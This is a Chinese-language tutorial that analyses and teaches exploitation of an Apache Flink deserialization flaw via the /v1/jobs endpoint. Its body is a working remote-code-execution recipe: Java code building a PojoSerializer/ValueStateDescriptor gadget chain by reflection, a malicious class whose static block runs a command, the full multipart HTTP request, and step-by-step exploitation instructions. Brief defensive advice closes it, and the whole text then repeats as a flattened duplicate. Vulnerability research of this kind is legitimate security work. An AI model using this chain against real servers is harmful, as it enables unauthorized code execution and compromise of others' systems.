Apache Flink反序列化漏洞分析
字数 1632 2025-08-10 08:28:55

Apache Flink反序列化漏洞分析与利用教学文档

0x00 漏洞概述

Apache Flink是一个开源的流处理框架,在其JobSubmitHandler组件中存在反序列化漏洞。攻击者可以通过构造恶意的序列化对象,在服务端执行任意代码。

0x01 漏洞入口分析

漏洞入口位于JobSubmitHandler中,具体路由为/v1/jobs。关键流程如下:

  1. 通过request.getUploadedFiles()获取请求中的文件内容
  2. 调用loadJobGraph方法进行处理
  3. loadJobGraph中:
    • 使用getPathAndAssertUpload方法根据requestBody.jobGraphFileName参数获取上传文件路径
    • 使用Java的ObjectInputStream读取文件内容
    • 执行反序列化操作

漏洞利用请求示例

POST /v1/jobs HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 3596

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="file_0"; filename="2.graph"

[payload.ser]
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="request"

{"jobGraphFileName":"2.graph"}
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

0x02 序列化构造分析

关键点1:PojoSerializer利用

PojoSerializerdeserialize函数会调用Class.forName,且第二个参数为true,这会执行类初始化并调用static代码块。

关键点2:StateDescriptor#readObject

StateDescriptor#readObject方法中:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    boolean hasDefaultValue = in.readBoolean();
    if (hasDefaultValue) {
        TypeSerializer<T> serializer = (TypeSerializer) this.serializerAtomicReference.get();
        // ...
        try {
            this.defaultValue = serializer.deserialize(inView);

这里可以通过修改serializerPojoSerializer来实现恶意代码执行。

关键点3:AtomicReference利用

serializerAtomicReferenceStateDescriptor中的一个AtomicReference对象,我们可以通过反射修改其内容:

AtomicReference<TypeSerializer> atomicReference = new AtomicReference<TypeSerializer>();
PojoSerializer pojoSerializer = new PojoSerializer(Object.class, new TypeSerializer[0], new Field[0], new ExecutionConfig());
atomicReference.set(pojoSerializer);

关键点4:ValueStateDescriptor构造

ValueStateDescriptor继承自StateDescriptor,是可序列化的对象。我们需要:

  1. 通过反射创建ValueStateDescriptor实例
  2. 修改其defaultValueserializerAtomicReference字段
ValueStateDescriptor valueStateDescriptor = Exp1.createWithoutConstructor(ValueStateDescriptor.class);

// 设置defaultValue为恶意对象
Field field = StateDescriptor.class.getDeclaredField("defaultValue");
field.setAccessible(true);
field.set(valueStateDescriptor, new EvalClass());

// 设置serializerAtomicReference为我们的PojoSerializer
field = StateDescriptor.class.getDeclaredField("serializerAtomicReference");
field.setAccessible(true);
field.set(valueStateDescriptor, atomicReference);

构造细节说明

  1. 使用无参构造创建ValueStateDescriptor是为了绕过StateDescriptor构造方法中的checkNotNull检查
  2. defaultValue必须设置,因为反序列化时有hasDefaultValue检查
  3. hasDefaultValue标志位在序列化时根据defaultValue的值确定

0x03 利用注意事项

  1. ClassLoader问题

    • 当前ClassLoader与启动位置相关
    • flink-1.11.1/bin目录下启动
    • 通过Class.forName加载的类只能加载一次
  2. 多次执行命令

    • 需要重新生成序列化对象
    • 上传编译后的class文件
    • 通过POST /v1/jobs重新发起攻击
  3. 示例恶意类

    • 可以构造一个包含静态代码块的类,在初始化时执行命令
    • 例如弹窗演示类:
public class EvalClass {
    static {
        try {
            // 执行命令的代码
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

0x04 完整利用流程

  1. 编写恶意类并编译
  2. 构造序列化对象:
    • 创建PojoSerializer
    • 设置AtomicReference
    • 创建并配置ValueStateDescriptor
  3. 将序列化对象写入文件
  4. 构造HTTP请求:
    • 上传序列化文件
    • 指定文件名参数
  5. 发送请求触发漏洞

0x05 防御建议

  1. 升级到修复版本
  2. 限制网络访问,只允许可信IP访问Flink Web UI
  3. 使用安全配置,禁用不必要的API
  4. 实施输入验证,特别是对序列化数据

0x06 总结

该漏洞利用Flink的反序列化机制,通过精心构造的序列化对象触发远程代码执行。关键在于理解PojoSerializerStateDescriptor的交互机制,以及如何通过反射修改关键字段。利用时需要注意ClassLoader的限制和多次执行的实现方式。

Apache Flink反序列化漏洞分析与利用教学文档 0x00 漏洞概述 Apache Flink是一个开源的流处理框架,在其JobSubmitHandler组件中存在反序列化漏洞。攻击者可以通过构造恶意的序列化对象,在服务端执行任意代码。 0x01 漏洞入口分析 漏洞入口位于 JobSubmitHandler 中,具体路由为 /v1/jobs 。关键流程如下: 通过 request.getUploadedFiles() 获取请求中的文件内容 调用 loadJobGraph 方法进行处理 在 loadJobGraph 中: 使用 getPathAndAssertUpload 方法根据 requestBody.jobGraphFileName 参数获取上传文件路径 使用Java的 ObjectInputStream 读取文件内容 执行反序列化操作 漏洞利用请求示例 0x02 序列化构造分析 关键点1:PojoSerializer利用 PojoSerializer 的 deserialize 函数会调用 Class.forName ,且第二个参数为 true ,这会执行类初始化并调用static代码块。 关键点2:StateDescriptor#readObject 在 StateDescriptor#readObject 方法中: 这里可以通过修改 serializer 为 PojoSerializer 来实现恶意代码执行。 关键点3:AtomicReference利用 serializerAtomicReference 是 StateDescriptor 中的一个 AtomicReference 对象,我们可以通过反射修改其内容: 关键点4:ValueStateDescriptor构造 ValueStateDescriptor 继承自 StateDescriptor ,是可序列化的对象。我们需要: 通过反射创建 ValueStateDescriptor 实例 修改其 defaultValue 和 serializerAtomicReference 字段 构造细节说明 使用无参构造创建 ValueStateDescriptor 是为了绕过 StateDescriptor 构造方法中的 checkNotNull 检查 defaultValue 必须设置,因为反序列化时有 hasDefaultValue 检查 hasDefaultValue 标志位在序列化时根据 defaultValue 的值确定 0x03 利用注意事项 ClassLoader问题 : 当前ClassLoader与启动位置相关 在 flink-1.11.1/bin 目录下启动 通过 Class.forName 加载的类只能加载一次 多次执行命令 : 需要重新生成序列化对象 上传编译后的class文件 通过 POST /v1/jobs 重新发起攻击 示例恶意类 : 可以构造一个包含静态代码块的类,在初始化时执行命令 例如弹窗演示类: 0x04 完整利用流程 编写恶意类并编译 构造序列化对象: 创建 PojoSerializer 设置 AtomicReference 创建并配置 ValueStateDescriptor 将序列化对象写入文件 构造HTTP请求: 上传序列化文件 指定文件名参数 发送请求触发漏洞 0x05 防御建议 升级到修复版本 限制网络访问,只允许可信IP访问Flink Web UI 使用安全配置,禁用不必要的API 实施输入验证,特别是对序列化数据 0x06 总结 该漏洞利用Flink的反序列化机制,通过精心构造的序列化对象触发远程代码执行。关键在于理解 PojoSerializer 和 StateDescriptor 的交互机制,以及如何通过反射修改关键字段。利用时需要注意ClassLoader的限制和多次执行的实现方式。